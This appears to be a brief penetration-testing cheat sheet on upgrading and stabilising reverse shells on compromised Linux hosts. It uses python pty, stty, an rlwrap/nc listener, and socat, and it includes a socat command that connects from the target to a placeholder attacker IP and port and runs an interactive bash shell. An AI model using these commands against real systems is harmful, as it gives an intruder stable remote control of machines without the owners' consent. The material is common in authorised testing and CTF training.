Python (Linux)

  1. Start bash shell via python

python -c 'import pty; pty.spawn("/bin/bash")'
  1. Gain access to term commands (such as clear)

export TERM=xterm
  1. Enable tab autocompletion, arrow keys, CTRL + C to kill processes (instead of shell)

stty raw -echo; fg

rlwrap (Linux & Windows)

  1. Enables history, tab autocompletion and arrow keys

rlwrap nc -nlvp <port>
  1. (linux only) Further stabilize shell (e.g. for CTRL+C)

stty raw -echo; fg

Socat (Linux)

Download binaries and transfer to target.


socat TCP-L:<port> FILE:`tty`,raw,echo=0


socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Terminal configuration

Try to sync the terminal with the host, to ensure proper linebreaks etc.

Get info (attacker machine)

stty -a

Configure (target machine)

export TERM=xterm
stty rows <rows> columns <cols>

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